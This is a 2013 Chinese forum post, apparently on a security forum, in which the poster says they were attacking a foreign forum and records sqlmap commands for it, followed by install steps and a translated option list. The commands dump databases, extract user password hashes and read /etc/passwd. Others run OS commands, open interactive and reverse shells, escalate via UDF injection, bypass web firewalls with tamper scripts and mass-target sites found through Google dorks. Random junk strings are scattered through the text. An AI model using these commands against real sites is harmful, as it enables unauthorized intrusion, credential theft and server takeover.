找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2775|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
; s( Y* Q" p0 ?/ y9 Dsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称# g4 h6 }. x8 d5 }3 t. t/ q
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名' d# ?( y+ f- M( \
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段5 c0 c! b7 p" B( {$ P

8 Z3 Z# w; G2 ^5 t3 G, z# W" |sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
  O: F0 M6 e) g: F0 #获取字段内容
/ v$ _9 b$ e; {! A
0 g0 A, ]' [; T******************信息获取******************8 D- M) T5 {8 Z- j: h
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型( K1 h" Z# F- |2 `, c) \/ w
sqlmap -u “http://url/news?id=1″ –users #列数据库用户( S8 i# ]; P* w" x; u- o
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
" [( K/ ?+ X% J$ x. C; Ysqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
2 {# I: C1 W/ ?  |7 a* [5 Ssqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码* W+ J# W( l# @# ?9 y
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
2 H5 a0 u5 l' @1 d# |, ]2 |7 e–start 1 –stop 20 #列出指定字段,列出20 条
& m+ G# g) e- q1 R8 @) ]sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
/ `* [) P3 h$ U' q8 c$ r, Psqlmap -u “http://url/news?id=1″ –privileges #查看权限# |9 g7 K& E2 p9 I, K
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
: @7 i4 ?, ^5 X: ysqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
; m+ `, k  q0 P* E$ a* `sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表' r! |* h. K' _- p* b
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录/ ?& B! M7 g6 y" P8 E  t$ k2 B+ y# _
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
9 ]) |! O; W3 g2 ^* ~  o# ysqlmap -u “http://url/news?id=1″-b #获取banner信息
' F+ s" w: C" s( e7 ssqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
! ]% t' ?# S$ ~0 P" `0 D5 psqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型) X9 p, Y0 d; O  [: Q; r
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入; R+ g7 ~( y! i# Q
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
9 y0 J6 o- O3 f+ ^/ u$ d/ y7 jsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令# S* N# `& {/ }4 J- {# f
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
) }, `+ F7 [1 H& a8 T0 asqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令! J, I6 B5 B5 u9 g( R8 L) }
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell! J; U/ A# l: d$ v& m
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表' `# E7 c9 B8 [: H6 U. V
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度6 N. B+ ~' z- p( i, t; Z9 x
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
. r, h$ _! H* @0 o' D0 b***********高级用法*************
; w; O6 n% j* r-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入# u" C. L3 q& r4 @
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问" D! v/ x( W" \# }$ A
–technique   测试指定注入类型\使用的技术' g& b0 a0 F4 s% O  A* A
不加参数默认测试所有注入技术! v& |( B5 ^# O
•     B: 基于布尔的SQL 盲注
. J- F# g6 U" Y' z" p! h% M•     E: 基于显错sql 注入
& z3 M6 t3 t( b; d+ X# W8 V•     U: 基于UNION 注入7 d& r$ o9 J/ ~# R6 i* ?' f
•     S: 叠层sql 注入* N# G7 q! }5 m2 }% Q
•     T: 基于时间盲注$ l9 w0 X. F  s/ R
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
2 x2 R5 o& b+ }1 h% j3 W–tamper 插件所在目录4 z$ G* N! G& B0 I& A8 h: t6 [
\sqlmap-dev\tamper
+ j5 C! Q" J1 @4 ~6 [) Fsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能1 k# }0 i( b6 |) ~3 O/ }+ v
level 执行测试等级 攻击实例:, S4 [6 s) g8 ?
Sqlmap -u “http://url/news?id=1&Submit=Submit”/ `% p1 s" r6 K: L( s- G2 B
–cookie=”PHPSESSID=41aa833e6d0d- j5 m: p) _4 L
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
. J+ O3 {* r- O' t* k3 J& k–password
3 g0 w; D! a: H: z( D) i参考文档:http://sqlmap.sourceforge.net/doc/README.html
1 O& g( c5 f. a1 ]***********安装最新版本*************  F3 t, ], P: [
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版* D) |$ v" m. b1 z/ l% r& P
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& a3 T4 r8 t% K& U安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
5 n. Q. [. r$ X% c8 v! zsudo vim /home/当前用户/.bashrc
6 j1 A" V& x2 M- n3 i#任意位置加上:% s! u* I! q2 x
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
, M4 U% F7 |" y如果想对所有用户有效 可设置全局 编辑下面的文件
: h* O& R& M+ ~4 G0 Ovim /etc/profile
; J- y4 |9 I2 q/ o同样加上:
* D3 c  I  N) L+ Salias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效5 x) ]2 T* _; Q7 g; [, G: i5 N  N
******************windows 7 (x64) sqlmap install (SVN)************
4 J* N6 S2 o$ \http://www.python.org/getit/ 安装python
2 K6 R8 s5 N7 P* H3 c; [/ {' ohttp://www.sliksvn.com/en/download 安装windows svn client
3 f5 Q9 O5 a+ i7 k  U# Esvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev7 C8 Y9 }: m/ T8 ^+ |
安装sqlmap+ x3 g2 M' C* B; A
*修改环境变量4 x9 o9 ?4 [6 p
–version             显示程序的版本号并退出
4 r4 p6 l& c2 |' w2 C& {-h, –help            显示此帮助消息并退出) m+ c: p% G- G
-v VERBOSE            详细级别:0-6(默认为1)1 i, b/ u* t. {- I/ n
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
% D6 \$ O2 ?, s; W3 H) n+ J) }-d DIRECT           直接连接到数据库。
+ M, v8 e, |7 _; {, I' v) b-u URL, –url=URL   目标URL。% a. h1 j5 x4 H+ q3 m+ N4 P
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。4 D+ r' q7 u0 H; J% A& S
-r REQUESTFILE      从一个文件中载入HTTP 请求。
( e- S6 R* A) |6 E& ~- X2 m  B-g GOOGLEDORK       处理Google dork 的结果作为目标URL。3 E- u9 m: Y: ~8 U. l* T4 l
-c CONFIGFILE       从INI 配置文件中加载选项。0 N9 y3 a; [# t* r3 h# ^* `8 r
Request(请求)::! O$ D5 [: m: Z7 i1 I$ e
这些选项可以用来指定如何连接到目标URL。+ i6 Q- p( Y6 V5 F4 O# o% g# |! r* M
–data=DATA         通过POST 发送的数据字符串
1 L0 J1 X# T/ L. x  C. V–cookie=COOKIE     HTTP Cookie 头
; F, L- g2 r5 U1 M5 O. v–cookie-urlencode  URL 编码生成的cookie 注入
& N6 @" L' o, K$ L! ^+ O8 Q8 M" K5 f–drop-set-cookie   忽略响应的Set –Cookie 头信息
! ~; @: X' w4 G+ g+ E
3 @0 \* m) l! Q+ R5 q–user-agent=AGENT  指定  HTTP User –Agent 头8 y: s8 K8 D# Y
–random-agent      使用随机选定的HTTP User –Agent 头
# ?4 H( k: D: W. E–referer=REFERER   指定  HTTP Referer 头9 V/ ?. K- t' B+ n
–headers=HEADERS   换行分开,加入其他的HTTP 头
; N, S8 h, B; B1 }; `: K–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
1 ^4 U- U8 S8 t, I2 l# Q$ B" G2 u–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
+ v) x# ]6 _. T2 g–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)) l' x/ u' E/ [8 \8 f
–proxy=PROXY       使用HTTP 代理连接到目标URL5 C) q& k  W  X6 E% j! T6 m
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)8 V: Q/ T  C. q. O7 G, V
–ignore-proxy      忽略系统默认的HTTP 代理
# j9 m; O7 _" k# x1 R–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
/ I0 F; i9 Q# Q) k+ u–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)2 M- q7 c5 [7 }6 x5 `- D
–retries=RETRIES   连接超时后重新连接的时间(默认3)
4 J7 z1 B0 W1 o" j. a- Y. V" E–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
3 ?$ Z. m- R9 X2 l' O–safe-url=SAFURL   在测试过程中经常访问的url 地址( z  _' C* b: f9 W& P' p6 `$ N3 C
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
. p' S! z6 z1 F: e; G8 d# u! s4 rOptimization(优化): 这些选项可用于优化SqlMap 的性能。
; |* |" F& D5 C% j; {: q8 O-o                  开启所有优化开关- w! {& s$ F& a7 V) I6 {( m8 y$ o
–predict-output    预测常见的查询输出
6 l* F, P7 I2 m& |–keep-alive        使用持久的HTTP(S)连接
. c# y5 B. G$ o# F' S' H$ W9 r–null-connection   从没有实际的HTTP 响应体中检索页面长度5 V5 }! R2 [; n. h& j' b. W
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)% c, E  {$ A3 h) z3 S
Injection(注入):! R( E& K9 s' |0 L2 ]
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。. |" U# `' g5 V* z+ V' S
-p TESTPARAMETER    可测试的参数(S)+ f; Q4 l2 h+ q+ }% y# \
–dbms=DBMS         强制后端的DBMS 为此值
( |$ B* l, {) l. |) k–os=OS             强制后端的DBMS 操作系统为这个值, n) W1 a/ s4 n) m. f
–prefix=PREFIX     注入payload 字符串前缀
. c0 l6 N0 T+ `6 m–suffix=SUFFIX     注入 payload 字符串后缀/ v! ~7 i1 Q. l5 @/ L& D3 v3 q
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
" S0 c. |  q/ O% w" @% f* k- uDetection(检测):3 A8 d$ S$ ]* B7 t8 \8 \6 v
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
2 T: l+ i# y7 R3 @: a1 ~–level=LEVEL       执行测试的等级(1-5,默认为1)
# e8 L6 P$ f( ]–risk=RISK         执行测试的风险(0-3,默认为1)/ F9 P5 Z/ T7 ~. A
–string=STRING     查询时有效时在页面匹配字符串. _& j% @. [) X- w
–regexp=REGEXP     查询时有效时在页面匹配正则表达式; N) \2 v$ X/ M0 s) c0 Q
–text-only         仅基于在文本内容比较网页
+ s: H: U4 [' B( d- N0 i+ @; iTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。4 f6 S9 ]* v1 z0 _
–technique=TECH    SQL 注入技术测试(默认BEUST)
# l! I+ k7 h9 b$ i: ^" o: ~–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
* G7 i% B  K( B+ [1 N* `2 l# I+ F–union-cols=UCOLS  定列范围用于测试UNION 查询注入+ u) }5 |# k8 U$ @0 h8 A& q
–union-char=UCHAR  用于暴力猜解列数的字符
; q$ L( z8 r9 X3 f# T% sFingerprint(指纹):: a2 `' J8 i3 G- Z
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
# r" E9 U3 p2 {2 [- y  A5 K6 AEnumeration(枚举):5 ~$ s3 x! Z  Q6 n( K3 u% ?+ x
1 `3 g3 L, |  k
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。. ?7 y* p  N" _3 t
-b, –banner        检索数据库管理系统的标识
% |$ H+ w) K8 G$ P4 Q–current-user      检索数据库管理系统当前用户
; V) U: U) @9 M8 K0 Q) r' ?+ E0 c–current-db        检索数据库管理系统当前数据库+ U  ~' c7 `1 H
–is-dba            检测DBMS 当前用户是否DBA' U) b# d# q. w. p" T3 s
–users             枚举数据库管理系统用户- s' ~$ n$ {( Z* a9 |6 w
–passwords         枚举数据库管理系统用户密码哈希, y' r6 |  V: ^, `  g
–privileges        枚举数据库管理系统用户的权限
. d1 x, M" m1 }8 V–roles             枚举数据库管理系统用户的角色: Q- T! }" s! J. C4 J2 ?
–dbs               枚举数据库管理系统数据库- f+ G6 Z1 [' [6 J; v/ \# E; z( r
–tables            枚举的DBMS 数据库中的表
1 v* u7 ^1 `1 T8 U–columns           枚举DBMS 数据库表列
3 U0 U9 r/ L) a5 b6 X–dump              转储数据库管理系统的数据库中的表项
2 t, i# x: A4 k9 t/ I2 U–dump-all          转储所有的DBMS 数据库表中的条目% K9 X. f" T) \- O$ Z; z" h
–search            搜索列(S),表(S)和/或数据库名称(S)
7 Z$ M2 C2 U" x9 Z* z-D DB               要进行枚举的数据库名2 [5 |) V% \! d! E% X) z3 c
-T TBL              要进行枚举的数据库表& w) L! b4 ]+ W) D$ I" V
-C COL              要进行枚举的数据库列' }/ T  a+ r7 C# K4 S
-U USER             用来进行枚举的数据库用户
) e1 Z# t' u( a8 p5 }/ a& A–exclude-sysdbs    枚举表时排除系统数据库5 Q. a; c9 }, g3 o9 e) l( L
–start=LIMITSTART  第一个查询输出进入检索3 L" |* K" I3 k7 z% U5 h
–stop=LIMITSTOP    最后查询的输出进入检索
* ]) B- k2 A- x' Y$ j( ?) k–first=FIRSTCHAR   第一个查询输出字的字符检索
8 ~$ X* W# e9 V  V–last=LASTCHAR     最后查询的输出字字符检索& V/ t8 g1 ?% N9 e; p+ ~. f7 _
–sql-query=QUERY   要执行的SQL 语句# T3 }5 O* d, I$ }/ I! L5 V
–sql-shell         提示交互式SQL 的shell0 o2 h, [8 ]( y' T. X8 e
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。) W, h3 ^9 K5 }9 j# D( D
–common-tables     检查存在共同表
/ k- @' L! }2 c, m6 R1 H1 I+ L–common-columns    检查存在共同列
& K( N4 g+ O) m% a& y: q+ [User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
, ]0 y! B: ?9 s–udf-inject        注入用户自定义函数" {5 T3 G7 K3 S! r
–shared-lib=SHLIB  共享库的本地路径
: r5 c* Q% O1 F+ ~File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
9 A1 l7 @. t! X–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
- y& |0 p5 M7 R+ k/ o& ]7 p4 W–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件5 D, }+ P7 V" a; h+ U
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径% y8 S/ H& E( Q- D
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
2 ~$ z% H: F! y; c3 Z–os-cmd=OSCMD      执行操作系统命令
; N9 @" W7 {& K7 ]–os-shell          交互式的操作系统的shell
7 V4 ]  f5 A- P–os-pwn            获取一个OOB shell,meterpreter 或VNC  Q% J* F) b4 J5 k2 |: e, B% H
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC0 c4 c3 _( Q9 P$ k2 q1 E# V4 G
–os-bof            存储过程缓冲区溢出利用9 U5 J# L8 E; [4 M- t6 d
–priv-esc          数据库进程用户权限提升
2 c9 v( k* H+ [0 u: u! X% j–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
! Y5 N, \/ c; d3 @8 w: v–tmp-path=TMPPATH  远程临时文件目录的绝对路径3 {0 X. P# Q2 D/ V1 e' D

* [! m' D: Q7 X  e# W5 P( H0 BWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。/ B4 v' K) K( h+ C$ e$ c! b7 m! _
–reg-read          读一个Windows 注册表项值
5 R( s0 P) d! |. u–reg-add           写一个Windows 注册表项值数据* B3 S: D( M' B1 U/ G+ T+ b) [
–reg-del           删除Windows 注册表键值
0 t3 a7 V2 o6 E+ p" Q6 \; X–reg-key=REGKEY    Windows 注册表键  w( y7 C/ R3 U& I
–reg-value=REGVAL  Windows 注册表项值
4 z; D5 }" ?& }3 ]–reg-data=REGDATA  Windows 注册表键值数据# d3 w5 n0 S9 {. [1 A4 t5 Y" K: w
–reg-type=REGTYPE  Windows 注册表项值类型# Z( x& Y- w$ J/ i* v+ F7 m
General(一般): 这些选项可以用来设置一些一般的工作参数。2 D- o9 k2 Q7 L, E
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中1 [% x+ {2 v( q) X* \
-s SESSIONFILE      保存和恢复检索会话文件的所有数据( r& ]5 ^: k& Y6 c8 j+ j
–flush-session     刷新当前目标的会话文件
, j0 b# f* b1 v  Q8 E$ O4 {–fresh-queries     忽略在会话文件中存储的查询结果
$ V& M; l2 R8 A4 q–eta               显示每个输出的预计到达时间3 c& q4 _" A5 \! N4 o
–update            更新SqlMap
7 U8 ^8 ^- Q& x$ U* m! @3 m& x–save              file 保存选项到INI 配置文件
  c# t! i$ C, z–batch             从不询问用户输入,使用所有默认配置。6 P! b( G( Q  E" U3 X! G* |- c
Miscellaneous(杂项):
# d+ l0 s$ s0 W9 A+ Z$ E0 {–beep              发现SQL 注入时提醒' v$ p' W. Y1 s# X$ q% R
–check-payload     IDS 对注入payloads 的检测测试
9 `& [' m6 v% y3 B6 v1 Q–cleanup           SqlMap 具体的UDF 和表清理DBMS
; X+ w; I" J6 m" i9 R, [6 R–forms             对目标URL 的解析和测试形式
& r( ]* W$ \4 ~–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
& Q. G0 s' a8 E5 r/ ~2 M–page-rank         Google dork 结果显示网页排名(PR)6 p# x- @" v8 C) a: U# I
–parse-errors      从响应页面解析数据库管理系统的错误消息
: O4 }2 O& A4 s+ i4 F–replicate         复制转储的数据到一个sqlite3 数据库
$ V+ C3 [4 z/ v" E" C–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
/ Q6 W: J6 _* ~% A" \. F8 A–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表